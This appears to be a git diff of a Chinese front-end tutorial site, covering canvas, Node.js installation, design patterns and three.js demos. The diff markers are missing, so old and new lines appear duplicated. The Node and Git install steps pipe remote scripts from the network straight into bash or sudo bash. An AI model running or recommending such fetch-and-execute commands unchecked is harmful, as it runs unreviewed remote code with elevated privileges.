function demo7() {
let canvas = canvasRef7.current
let ctx = canvas.getContext('2d')
let lineJoin = ['round', 'bevel', 'miter']
let canvas = canvasRef7.current;
let ctx = canvas.getContext('2d');
let lineJoin = ['round', 'bevel', 'miter'];
ctx.lineWidth = 10
ctx.lineWidth = 10;
for (let i = 0; i < lineJoin.length; i++) {
ctx.lineJoin = lineJoin[i]
ctx.beginPath()
ctx.moveTo(-5, 5 + i * 40)
ctx.lineTo(35, 45 + i * 40)
ctx.lineTo(75, 5 + i * 40)
ctx.lineTo(115, 45 + i * 40)
ctx.lineTo(155, 5 + i * 40)
ctx.stroke()
ctx.lineJoin = lineJoin[i];
ctx.beginPath();
ctx.moveTo(-5, 5 + i * 40);
ctx.lineTo(35, 45 + i * 40);
ctx.lineTo(75, 5 + i * 40);
ctx.lineTo(115, 45 + i * 40);
ctx.lineTo(155, 5 + i * 40);
ctx.stroke();
}
}
@ -160,119 +165,119 @@ export default () => {
* lineDashOffset 偏移量
*/
function demo8() {
let canvas = canvasRef8.current
let ctx = canvas.getContext('2d')
let offset = 0
let canvas = canvasRef8.current;
let ctx = canvas.getContext('2d');
let offset = 0;
function march() {
offset++
offset++;
if (offset > 16) {
offset = 0
offset = 0;
}
_draw()
setTimeout(march, 50)
_draw();
setTimeout(march, 50);
}
function _draw() {
ctx.clearRect(0, 0, canvas.width, canvas.height)
ctx.lineWidth = 2
ctx.setLineDash([4, 2])
ctx.lineDashOffset = -offset
ctx.strokeRect(10, 10, 100, 100)
ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.lineWidth = 2;
ctx.setLineDash([4, 2]);
ctx.lineDashOffset = -offset;
ctx.strokeRect(10, 10, 100, 100);
}
march()
march();
}
function demo9() {
let canvas = canvasRef9.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef9.current;
let ctx = canvas.getContext('2d');
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150)
lineargradient.addColorStop(0, '#00abeb')
lineargradient.addColorStop(0.5, '#fff')
lineargradient.addColorStop(0.5, '#26c000')
lineargradient.addColorStop(1, '#fff')
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150);
lineargradient.addColorStop(0, '#00abeb');
lineargradient.addColorStop(0.5, '#fff');
lineargradient.addColorStop(0.5, '#26c000');
lineargradient.addColorStop(1, '#fff');
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95)
radialgradient.addColorStop(0.5, '#000')
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0')
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95);
radialgradient.addColorStop(0.5, '#000');
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0');
ctx.fillStyle = lineargradient
ctx.strokeStyle = radialgradient
ctx.fillStyle = lineargradient;
ctx.strokeStyle = radialgradient;
ctx.fillRect(10, 10, 130, 130)
ctx.strokeRect(50, 50, 50, 50)
ctx.fillRect(10, 10, 130, 130);
ctx.strokeRect(50, 50, 50, 50);
}
function demo10() {
let canvas = canvasRef10.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef10.current;
let ctx = canvas.getContext('2d');
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30)
radgrad.addColorStop(0, '#a7d30c')
radgrad.addColorStop(0.9, '#019f62')
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0')
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30);
radgrad.addColorStop(0, '#a7d30c');
radgrad.addColorStop(0.9, '#019f62');
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0');
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50)
radgrad2.addColorStop(0, '#fff')
radgrad2.addColorStop(0.75, '#ff0188')
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)')
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
radgrad2.addColorStop(0, '#fff');
radgrad2.addColorStop(0.75, '#ff0188');
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90)
radgrad3.addColorStop(0, '#f4f201')
radgrad3.addColorStop(0.8, '#00B5E2')
radgrad3.addColorStop(1, '#00B5E2')
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
radgrad3.addColorStop(0, '#f4f201');
radgrad3.addColorStop(0.8, '#00B5E2');
radgrad3.addColorStop(1, '#00B5E2');
ctx.fillStyle = radgrad3
ctx.fillRect(0, 0, 150, 150)
ctx.fillStyle = radgrad2
ctx.fillRect(0, 0, 150, 150)
ctx.fillStyle = radgrad
ctx.fillRect(0, 0, 150, 150)
ctx.fillStyle = radgrad3;
ctx.fillRect(0, 0, 150, 150);
ctx.fillStyle = radgrad2;
ctx.fillRect(0, 0, 150, 150);
ctx.fillStyle = radgrad;
ctx.fillRect(0, 0, 150, 150);
}
function demo11() {
let canvas = canvasRef11.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef11.current;
let ctx = canvas.getContext('2d');
// 创建 img作为图案
let img = new Image()
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png'
let img = new Image();
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
img.onload = function () {
let ptrn = ctx.createPattern(img, 'repeat')
ctx.fillStyle = ptrn
ctx.fillRect(0, 0, 150, 150)
}
let ptrn = ctx.createPattern(img, 'repeat');
ctx.fillStyle = ptrn;
ctx.fillRect(0, 0, 150, 150);
};
}
function demo12() {
let canvas = canvasRef12.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef12.current;
let ctx = canvas.getContext('2d');
ctx.beginPath()
ctx.fillStyle = '#aaa'
ctx.arc(50, 50, 30, 0, Math.PI * 2, true)
ctx.arc(50, 50, 15, 0, Math.PI * 2, true)
ctx.fill('evenodd')
ctx.beginPath();
ctx.fillStyle = '#aaa';
ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
ctx.fill('evenodd');
}
useEffect(() => {
demo1()
demo2()
demo3()
demo4()
demo5()
demo6()
demo7()
demo8()
demo9()
demo10()
demo11()
demo12()
}, [])
demo1();
demo2();
demo3();
demo4();
demo5();
demo6();
demo7();
demo8();
demo9();
demo10();
demo11();
demo12();
}, []);
return (
<div>
@ -289,8 +294,8 @@ export default () => {
<canvas ref={canvasRef11} width="200" height="200" />
<canvas ref={canvasRef12} width="200" height="200" />
</div>
)
}
);
};
```
```js

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 canvas
order: 4
path: /canvas
---
## 文字
@ -13,48 +14,48 @@ group:
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef2 = useRef()
const canvasRef3 = useRef()
const canvasRef = useRef();
const canvasRef2 = useRef();
const canvasRef3 = useRef();
// 填充文本
function demo1() {
// 声明DOM
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
ctx.shadowOffsetY = 8
ctx.shadowOffsetX = 8
ctx.shadowBlur = 3
ctx.shadowColor = '#ccc'
ctx.shadowOffsetY = 8;
ctx.shadowOffsetX = 8;
ctx.shadowBlur = 3;
ctx.shadowColor = '#ccc';
ctx.font = '40px serif'
ctx.fillText('1. 你是个智障!', 50, 50)
ctx.font = '40px serif';
ctx.fillText('1. 你是个智障!', 50, 50);
}
function demo2() {
let canvas = canvasRef2.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef2.current;
let ctx = canvas.getContext('2d');
ctx.font = '48px serif'
ctx.strokeText('2. hello world', 10, 50)
ctx.font = '48px serif';
ctx.strokeText('2. hello world', 10, 50);
}
function demo3() {
let canvas = canvasRef3.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef3.current;
let ctx = canvas.getContext('2d');
ctx.font = '40px serif'
ctx.textBaseline = 'top'
ctx.textAlign = 'start'
ctx.strokeText('hello world', 0, 100)
ctx.font = '40px serif';
ctx.textBaseline = 'top';
ctx.textAlign = 'start';
ctx.strokeText('hello world', 0, 100);
}
useEffect(() => {
demo1()
demo2()
demo3()
}, [])
demo1();
demo2();
demo3();
}, []);
return (
<div>
@ -62,16 +63,14 @@ export default () => {
<canvas ref={canvasRef2} width="500" height="200" />
<canvas ref={canvasRef3} width="500" height="200" />
</div>
)
}
);
};
```
```ts
window.onload = function () {
demo1()
demo2()
demo3()
}
demo1();
demo2();
demo3();
};
```

View File

@ -8,7 +8,6 @@ group:
path: /node
---
# 💊 node
基于 chrome 的 V8 引擎 封装的一个 JavaScript 运行环境,事件驱动、非阻塞 IO 进程模型,它能让 js 代码运行在服务端。
@ -18,11 +17,19 @@ group:
对标产品为基于 rust、Tokio 的 denodestroy nodedeno 具有更高的效率,并且原生就支持 typescript
## 安装
### 方法 1
#### 拉取 nvm
- wget -qO- [https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh](https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh) | bash
<!-- 版本好可以根据需求来变更 14.X 16.X -->
- curl -fsSL https://rpm.nodesource.com/setup_16.x | sudo bash -
- sudo yum install -y nodejs
#### 安装 nvm
```javascript
// 打开bash
source ~/.bash_profile
@ -35,42 +42,42 @@ export PATH=$NODE_HOME/bin:$PATH
- nvm install node版本号or nvm install stable
- 方案2
- curl --silent --location [https://rpm.nodesource.com/setup_11.x](https://rpm.nodesource.com/setup_11.x)| sudo bash -
### 方法 2
1. 第一步
```
```js
wget https://npm.taobao.org/mirrors/node/v12.16.1/node-v12.16.1-linux-x64.tar.gz
```
2. 第二步
```
tar -xvf node-v12.16.1-linux-x64.tar.gz
yum install gcc gcc-c++
```
3. 第三步
```
mv node-v12.16.1-linux-x64.tar.gz node
```
4. 第四步
```
ln -s /usr/local/bin/node/bin/node /usr/bin/node
ln -s /usr/local/bin/node/bin/npm /usr/bin/npm
ln -s /usr/local/bin/node/bin/npx /usr/bin/npx
```
### 安装 GIT
- curl [https://setup.ius.io](https://setup.ius.io) | sh
- yum install -y git2u
- git --version
## cjs、esm、umd 的区别
首先运行端的区别cjs 和 esm 只能运行在 node 端,而 umd 可以同时运行在 node 和浏览器端

View File

@ -5,11 +5,12 @@ nav:
group:
title: 💊 设计模式
order: 1
path: /pattern
---
## 关于
学习设计模式,是为了让你的代码减少亢余,能用健壮的代码去解决问题,提升可维护性与拓展性。
学习设计模式,它是一种思维模式,目的是为了让代码减少亢余,能用比较结构化的代码去解决问题,提升可维护性与拓展性。
**想做靠谱开发,先学设计模式**

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 设计模式
order: 6
path: /pattern
---
## 行为型

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 设计模式
order: 2
path: /pattern
---
## 创建型

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 设计模式
order: 4
path: /pattern
---
## 结构型
@ -136,20 +137,20 @@ Ajax('get', 'https://nicecoders.github.io', data, function(res){
```jsx
import React, { useRef, useState, useEffect } from 'react';
import '@nicecode/css'
import '@nicecode/css';
class Modal {
constructor(opt = {}) {
const { dom } = opt
const { dom } = opt;
this.dom = dom
this.dom = dom;
}
show() {
this.dom.innerHTML = '卧槽';
this.dom.style.display = 'block'
this.dom.style.width = '200px'
this.dom.style.textAlign = 'center'
this.dom.style.display = 'block';
this.dom.style.width = '200px';
this.dom.style.textAlign = 'center';
}
hide() {
@ -159,65 +160,81 @@ class Modal {
class DecoratorModal {
constructor(_oldModal) {
this._oldModal = _oldModal
this._oldModal = _oldModal;
}
show() {
this._oldModal.show()
this._oldModal.show();
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角'
this._oldModal.dom.style.color = '#aaa'
this._oldModal.dom.style.borderRadius = '5px'
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角';
this._oldModal.dom.style.color = '#aaa';
this._oldModal.dom.style.borderRadius = '5px';
}
hide() {
this._oldModal.hide()
this._oldModal.hide();
}
}
export default () => {
const modalRef = useRef(null)
const [modal, setModal] = useState(null)
const modalRef = useRef(null);
const [modal, setModal] = useState(null);
// 案例:原本有个按钮,新的需求要将按钮样式置灰,并且文案改为 快去登录
const openModal = () => {
modal.show()
}
modal.show();
};
const hideModal = () => {
modal.hide()
}
modal.hide();
};
const decoratorModal = () => {
let dom = new DecoratorModal(modal)
let dom = new DecoratorModal(modal);
setModal(dom)
}
setModal(dom);
};
const normalModal = () => {
let dom = new Modal({
dom: modalRef.current
})
dom: modalRef.current,
});
setModal(dom)
}
setModal(dom);
};
useEffect(() => {
normalModal()
}, [])
normalModal();
}, []);
let style = {
margin: '0 6px',
}
};
return (
<div className="decorator">
<button style={style} onClick={openModal} >打开弹框</button>
<button style={style} onClick={hideModal} >关闭弹框</button>
<button style={style} onClick={decoratorModal} >添加适配器</button>
<button style={style} onClick={normalModal} >清除适配器</button>
<div ref={modalRef} style={{ display: 'none', marginTop: '20px', padding: '10px 20px', border: '1px solid #eee'}} ></div>
<button style={style} onClick={openModal}>
打开弹框
</button>
<button style={style} onClick={hideModal}>
关闭弹框
</button>
<button style={style} onClick={decoratorModal}>
添加适配器
</button>
<button style={style} onClick={normalModal}>
清除适配器
</button>
<div
ref={modalRef}
style={{
display: 'none',
marginTop: '20px',
padding: '10px 20px',
border: '1px solid #eee',
}}
></div>
</div>
)
);
};
```
@ -230,9 +247,9 @@ function funcDecorator(type) {
return function (target, name, descriptor) {
if (type === 'class') {
target.prototype.show = () => {
console.log('装饰器处理后的类')
}
return target
console.log('装饰器处理后的类');
};
return target;
/**
* or
* return class NButton {
@ -242,26 +259,27 @@ function funcDecorator(type) {
* }
**/
} else if (type === 'function') {
const old = descriptor.value
descriptor.value = function(...arg) { // 注意这里需要保留原this作用域不能使用箭头函数
console.log('----装饰器装饰函数----')
const old = descriptor.value;
descriptor.value = function (...arg) {
// 注意这里需要保留原this作用域不能使用箭头函数
console.log('----装饰器装饰函数----');
// 原函数
return old.apply(this, arg)
}
}
return old.apply(this, arg);
};
}
};
}
// 通过装饰器改变原有的 show 方法
// @funcDecorator('class')
class Button {
show() {
console.log('大卫的思想空间')
console.log('大卫的思想空间');
}
@funcDecorator('function')
mb() {
console.log('我是sb')
console.log('我是sb');
}
}
@ -271,15 +289,10 @@ export default () => {
// dom.show()
// dom.mb()
// console.log(dom)
}, [])
return (
<div>
进阶案例:控制台查看输出结果
</div>
)
}
}, []);
return <div>进阶案例:控制台查看输出结果</div>;
};
```
### 代理模式
@ -292,21 +305,21 @@ export default () => {
import React, { useRef, useEffect } from 'react';
// 普通私密信息
const baseInfo = ['name', 'age', 'career']
const baseInfo = ['name', 'age', 'career'];
// 最私密信息
const privateInfo = ['avatar', 'phone']
const privateInfo = ['avatar', 'phone'];
// 规定礼物的数据结构由type和value组成
const present = {
type: '巧克力',
value: 60,
}
};
// 相亲男方
const user = {
isValidated: true,
isVIP: false,
}
};
// 相亲女方
const girl = {
@ -330,53 +343,48 @@ const girl = {
bottomValue: 50,
// 记录最近一次收到的礼物
lastPresent: present,
}
};
// 掘金婚介所推出了小礼物功能
const JuejinLovers = new Proxy(girl, {
get: function (girl, key) {
if((baseInfo.indexOf(key) !== -1) && !user.isValidated) {
alert('您还没有完成验证哦')
return
if (baseInfo.indexOf(key) !== -1 && !user.isValidated) {
alert('您还没有完成验证哦');
return;
}
// 此处我们认为只有验证过的用户才可以购买VIP
if (user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
alert('只有VIP才可以查看该信息哦')
return
alert('只有VIP才可以查看该信息哦');
return;
}
return girl[key]
return girl[key];
},
set: function (girl, key, val) {
// 最近一次送来的礼物会尝试赋值给lastPresent字段
// 需要返回 boolean 判断是否赋值成功
if (key === 'lastPresent') {
if (val.value < girl.bottomValue) {
alert('sorry您的礼物被拒收了')
return false
alert('sorry您的礼物被拒收了');
return false;
}
// 如果没有拒收则赋值成功同时并入presents数组
girl.lastPresent = val
girl.presents = [...girl.presents, val]
return true
girl.lastPresent = val;
girl.presents = [...girl.presents, val];
return true;
}
}
})
},
});
export default () => {
useEffect(() => {
console.log(JuejinLovers.name)
JuejinLovers.lastPresent = present
console.log(JuejinLovers)
}, [])
console.log(JuejinLovers.name);
JuejinLovers.lastPresent = present;
console.log(JuejinLovers);
}, []);
return (
<div>hi</div>
)
}
return <div>hi</div>;
};
```

View File

@ -4,7 +4,7 @@ nav:
path: /fea
group:
title: 💊 SVG
order: 3
order: 1
path: /svg
---
@ -33,4 +33,4 @@ export default () => {
## 基础动画案例
<code src="./demos/ok.tsx" />
<!-- <code src="./demos/ok.tsx" ></code> -->

View File

@ -159,3 +159,4 @@ class Car implements Alarm, Light {
1. [Type Search](https://www.typescriptlang.org/dt/search?search=)
2. [quick Type自动生成 Type](https://app.quicktype.io)
3. [ts playground: 线上编写测试代码](https://www.typescriptlang.org/zh/play)
4. [tsconfig 参数解释](https://segmentfault.com/a/1190000021749847)

119
docs/fea/webgl/Q&A.md Normal file
View File

@ -0,0 +1,119 @@
---
nav:
title: 前端
path: /fea
group:
title: 💊 webGL
order: 100
path: /webgl
---
# 常见问题
## 创建形状实例时,如何去定位位置?
初始创建的时候,是以 3d 世界坐标系0,0,0为中心基于这个点创建对应素材再去配置 transform 和 position 参数
## 如何加载 exr 文件?
可以下载对应的 loader进行文件的加载
<https://www.jianshu.com/p/cc7dfdc51598>
## 镜头变成了鱼眼镜头?
- PerspectiveCamera 的 fov 参数设置过高,调低就行了
## 模型放大缩小会有点丢失细节,一直在闪烁?
把 PerspectiveCamera 的 near 参数调小比如0.01(按实际情况调整)
## 为什么材质很黑?
& ● 材质的质感需要通过环境来衬托,这边需要设置场景的环境值
```js
import { RoomEnvironment } from 'three/examples/jsm/environments/RoomEnvironment.js';
// 场景环境添加纹理这里默认使用threeJS提供的房间环境
const pmremGenerator = new THREE.PMREMGenerator(renderer);
this.scene.environment = pmremGenerator.fromScene(
new RoomEnvironment(),
0.04,
).texture;
```
- ● 试试添加个环境光
## 为什么光线会过曝?
- ● child.material.envMapIntensity 参数设置的太高,导致本身的过曝
- ● this.renderer.toneMappingExposure 色调映射的曝光级别过高
- ● child.material.emissive = child.material.color 这段删除
## 模型文件过大,如何优化?
1. 使用压缩工具去压缩处理模型例如gltf-pipeline推荐
2. 加载 DRACOLoader 去压缩模型,但是会额外消耗浏览器内存与时间去进行额外计算
## 如何给 glb 模型的某个模块添加材质?
```js
const diamondTexture = new RGBELoader().load('./path/diamond1.hdr');
// 映射场景(球状体里面)
diamondTexture.mapping = THREE.EquirectangularRefractionMapping;
await model.traverse(
(child) => {
if (child.isMesh && child.material instanceof THREE.MeshStandardMaterial) {
child.material.envMap = diamondTexture; // 上材质
}
},
undefined,
function (error) {
console.error(error);
},
);
```
## 字体加载的时候报错fontloader unexpected token '<', "<!doctype "... is not valid json?
大概率是字体库的文件路径有问题,两个解决方案:
1. 把字体库上床到 oss使用链接的形式加载字体
2. 配置一下 vite 或者 webpack让它能正确读取 json 格式的文件
## 用 RGBELoader 加载 hdr 材质,赋值给 glb 模型,为什么模型会丢失?
没有加上 mapping 属性
```
// 映射场景(球状体里面)
texture.mapping = THREE.EquirectangularRefractionMapping;
```
## 如何查看光源是从哪里来?
可以给光源添加一个 helper来帮助查看光的位置
```js
// 平行光
const directionalLightCameraHelper = new THREE.DirectionalLightHelper(
new THREE.DirectionalLight(0xffffff, 1),
5,
'#000',
);
scene.add(directionalLightCameraHelper);
// 点光
const pointLightHelper = new THREE.PointLightHelper(
new THREE.PointLight(0xff0000, 1, 100),
1,
);
scene.add(pointLightHelper);
// 半球光
const helper = new THREE.HemisphereLightHelper(
new THREE.HemisphereLight(0xffffbb, 0x080820, 1),
5,
);
scene.add(helper);
```

View File

@ -0,0 +1,296 @@
import React, { useEffect, useRef } from 'react';
import * as THREE from 'three';
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
import { TextGeometry } from 'three/addons/geometries/TextGeometry.js';
import { FontLoader } from 'three/addons/loaders/FontLoader.js';
import { resizeRendererToDisplaySize } from '../utils'
export default () => {
const ref = useRef(null)
useEffect(() => {
ref.current && init(ref.current)
}, [])
const init = (dom: HTMLElement) => {
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(38, dom.clientWidth / dom.clientHeight, 0.1, 1000)
// camera.lookAt( 0, 0, 0 );
camera.position.set(25, 5, 40)
camera.rotation.set(10, 0, 40)
const cameraHelper = new THREE.CameraHelper( camera );
scene.add( cameraHelper );
// 渲染器
const renderer = new THREE.WebGLRenderer({ antialias: true, canvas: dom });
// renderer.setSize(window.innerWidth, window.innerHeight);
THREE.Cache.enabled = true;
// 创建立方体
const geometry = new THREE.BoxGeometry(1, 1, 1);
const material = new THREE.MeshLambertMaterial({ color: 0x00ffff })
const cube = new THREE.Mesh(geometry, material);
cube.position.y = -1
scene.add(cube);
const edges = new THREE.EdgesGeometry( geometry );
const line = new THREE.LineSegments( edges, new THREE.LineBasicMaterial( { color: 0xffffff } ) );
line.position.y = -1
scene.add( line );
// 创建一个胶囊
const capGeometry = new THREE.CapsuleGeometry(1, 1, 10, 20)
const capMaterial = new THREE.MeshLambertMaterial({ color: 0xdede8d, wireframe: false })
const cap = new THREE.Mesh(capGeometry, capMaterial);
cap.position.y = 1
scene.add(cap);
// 创建一个圆形(半径,分段,分段起始角度,中心角)
const circleGeometry = new THREE.CircleGeometry(2, 32, 10, Math.PI * 1.5)
const circleMaterial = new THREE.MeshLambertMaterial({ color: 0xcccccd, wireframe: false })
const circle = new THREE.Mesh(circleGeometry, circleMaterial);
circle.position.y = 4
circle.position.x = 3
circleMaterial.side = THREE.DoubleSide
scene.add(circle);
// 创建一个圆锥(半径,高度,侧面分段,侧面沿着高度的分段、底面是否封闭、分段起始角度、中心角)
const coneGeometry = new THREE.ConeGeometry(1, 6, 20)
const coneMaterial = new THREE.MeshLambertMaterial({ color: 0xcccccd, wireframe: false })
const cone = new THREE.Mesh(coneGeometry, coneMaterial);
cone.position.y = 4
cone.position.x = -3
scene.add(cone);
// 创建一个圆柱(顶半径,底半径,圆柱高,侧面分段、侧面沿高分段、底面是否封闭、起始角度、中心角)
const cylinderGeometry = new THREE.CylinderGeometry(1, 1.5, 3, 10)
const cylinderMaterial = new THREE.MeshLambertMaterial({ color: 0xcffcff, wireframe: false })
const cylinder = new THREE.Mesh(cylinderGeometry, cylinderMaterial);
cylinder.position.y = -3
cylinder.position.x = -3
scene.add(cylinder);
// 创建一个12面几何体半径、顶点
const dodecahedronGeometry = new THREE.DodecahedronGeometry(1)
const dodecahedronMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccd, wireframe: false })
const dodecahedron = new THREE.Mesh(dodecahedronGeometry, dodecahedronMaterial);
dodecahedron.position.y = 0
dodecahedron.position.x = -4
dodecahedron.position.z = 1
scene.add(dodecahedron);
// 创建一个20面几何体半径、顶点
const icosahedronGeometry = new THREE.IcosahedronGeometry(1)
const icosahedronMaterial = new THREE.MeshLambertMaterial({ color: 0xcffcfd, wireframe: false })
const icosahedron = new THREE.Mesh(icosahedronGeometry, icosahedronMaterial);
icosahedron.position.y = 4
icosahedron.position.x = -5
icosahedron.position.z = 0.5
scene.add(icosahedron);
// 车削缓冲几何体()
const points = [];
for ( let i = 0; i < 10; i ++ ) {
points.push( new THREE.Vector2( Math.sin( i * 0.2 ) * 10 + 5, ( i - 5 ) * 2 ) );
}
const latheGeometry = new THREE.LatheGeometry( points );
const latheMaterial = new THREE.MeshLambertMaterial( { color: 0xffff00 } );
const lathe = new THREE.Mesh( latheGeometry, latheMaterial );
lathe.position.y = 6
lathe.position.x = 6
lathe.position.z = 1
// scene.add( lathe );
// 多面缓冲几何体,自定义坐标
const verticesOfCube = [
-1,-1,-1, 1,-1,-1, 1, 1,-1, -1, 1,-1,
-1,-1, 1, 1,-1, 1, 1, 1, 1, -1, 1, 1,
];
const indicesOfFaces = [
2,1,0, 0,3,2,
0,4,7, 7,3,0,
0,1,5, 5,4,0,
1,2,6, 6,5,1,
2,3,7, 7,6,2,
4,5,6, 6,7,4
];
const polyGeometry = new THREE.PolyhedronGeometry( verticesOfCube, indicesOfFaces, 6, 3 );
const polyMaterial = new THREE.MeshLambertMaterial( { color: 0xffff00 } );
const poly = new THREE.Mesh( polyGeometry, polyMaterial );
poly.position.y = -3
poly.position.x = 7
poly.position.z = -3
scene.add( poly );
// 创建一个圆环(内半径、外半径、圆环的分段)
const ringGeometry = new THREE.RingGeometry(1, 3)
const ringMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
const ring = new THREE.Mesh(ringGeometry, ringMaterial);
ring.position.y = 5
ring.position.x = 7
ring.position.z = 1
ringMaterial.side = THREE.DoubleSide
scene.add(ring);
// 绘制图形
const heartShape = new THREE.Shape();
const x = -2.5;
const y = -5;
heartShape.moveTo(x + 2.5, y + 2.5);
heartShape.bezierCurveTo(x + 2.5, y + 2.5, x + 2, y, x, y);
heartShape.bezierCurveTo(x - 3, y, x - 3, y + 3.5, x - 3, y + 3.5);
heartShape.bezierCurveTo(x - 3, y + 5.5, x - 1.5, y + 7.7, x + 2.5, y + 9.5);
heartShape.bezierCurveTo(x + 6, y + 7.7, x + 8, y + 4.5, x + 8, y + 3.5);
heartShape.bezierCurveTo(x + 8, y + 3.5, x + 8, y, x + 5, y);
heartShape.bezierCurveTo(x + 3.5, y, x + 2.5, y + 2.5, x + 2.5, y + 2.5);
const shapeGeo = new THREE.ExtrudeGeometry( heartShape, {
steps: 2,
depth: 1,
bevelEnabled: true,
bevelThickness: 1,
bevelSize: 1,
bevelSegments: 5
});
const shapeMat = new THREE.MeshLambertMaterial( { color: 0x00ff00 } );
const heart = new THREE.Mesh( shapeGeo, shapeMat ) ;
heart.position.y = 6
heart.position.z = 6
heart.rotation.z = Math.PI * 1
shapeMat.side = THREE.DoubleSide
scene.add( heart );
// 球体
const ballGeometry = new THREE.SphereGeometry(1, 19)
const ballMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
const ball = new THREE.Mesh(ballGeometry, ballMaterial);
ball.position.y = 6
ball.position.x = 0
ball.position.z = -1
scene.add(ball);
// 四面体
const fourGeometry = new THREE.TetrahedronGeometry(1)
const fourMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
const four = new THREE.Mesh(fourGeometry, fourMaterial);
four.position.y = 3
four.position.x = -9
four.position.z = -1
scene.add(four);
// 圆环(半径,粗细)
const torusGeometry = new THREE.TorusGeometry(3, 0.3)
const torusMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
const torus = new THREE.Mesh(torusGeometry, torusMaterial);
torus.position.y = 4
torus.position.x = -15
torus.position.z = -1
scene.add(torus);
// 圆环扭结(半径,粗细,)
const kontGeometry = new THREE.TorusKnotGeometry( 2, 0.3 );
const kontMaterial = new THREE.MeshLambertMaterial( { color: 0xffddd0 } );
const knot = new THREE.Mesh( kontGeometry, kontMaterial );
knot.position.y = -5
knot.position.x = -15
knot.position.z = -1
scene.add( knot );
//创建线段
const lineMaterial = new THREE.LineBasicMaterial({ color: 0x0000ff })
const linePoints = []
linePoints.push(new THREE.Vector3(0, 0, 0))
linePoints.push(new THREE.Vector3(0, 100, 0))
const lineGeometry = new THREE.BufferGeometry().setFromPoints(points)
const line2 = new THREE.Line( lineGeometry, lineMaterial );
scene.add( line2 );
// 创建文字
const fontLoader = new FontLoader();
let textMesh
fontLoader.load('https://fancy-content-test.oss-cn-beijing.aliyuncs.com/helvetiker_regular.typeface.json', function ( font ) {
const textGeometry = new TextGeometry('ykx, I Love U!', {
font: font,
size: 6,
depth: 1,
height: 0.1,
curveSegments: 10,
bevelEnabled: true, // 平滑
bevelThickness: 1,
bevelSize: 0.8, //
bevelSegments: 3 // 平滑切角分段
});
textGeometry.computeBoundingBox();
const centerOffset = - 0.5 * ( textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x );
const materials = [
new THREE.MeshPhongMaterial( { color: 0xffffff, flatShading: true } ), // front
new THREE.MeshPhongMaterial( { color: 0xf00fff } ) // side
];
textMesh = new THREE.Mesh( textGeometry, materials );
textMesh.position.z = 10;
textMesh.position.x = centerOffset;
scene.add( textMesh )
} );
// --------------------- 光线 ------------------------------
// 半球光
const fillLight = new THREE.HemisphereLight( 0x8dc1de, 0x00668d, 1.5 );
fillLight.position.set( 0, 1, 1 );
scene.add( fillLight );
// const helper = new THREE.HemisphereLightHelper( fillLight, 5 );
// scene.add( helper );
// 平行光
const directionalLight = new THREE.DirectionalLight( 0xffffff, 2.5 );
directionalLight.position.set( - 5, 25, - 1 );
directionalLight.castShadow = true;
directionalLight.shadow.camera.near = 0.01;
directionalLight.shadow.camera.far = 500;
directionalLight.shadow.camera.right = 30;
directionalLight.shadow.camera.left = - 30;
directionalLight.shadow.camera.top = 30;
directionalLight.shadow.camera.bottom = - 30;
directionalLight.shadow.mapSize.width = 1024;
directionalLight.shadow.mapSize.height = 1024;
directionalLight.shadow.radius = 4;
directionalLight.shadow.bias = - 0.00006;
scene.add(directionalLight);
const controls = new OrbitControls( camera, renderer.domElement );
controls.autoRotate = true
function render() {
directionalLight.rotation.x += 0.1
directionalLight.rotation.z += 0.1
scene.rotation.y += -0.001
if (resizeRendererToDisplaySize(renderer)) {
const canvas = renderer.domElement;
camera.aspect = canvas.clientWidth / canvas.clientHeight;
camera.updateProjectionMatrix();
}
renderer.setAnimationLoop(render)
renderer.render(scene, camera)
}
render()
}
return (
<canvas ref={ref} style={{ width: '100%', height: '100%' }} />
)
};

View File

@ -0,0 +1,19 @@
import React, { useRef, useEffect } from 'react';
import * as THREE from 'three';
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
export default () => {
const ref = useRef(null)
useEffect(() => {
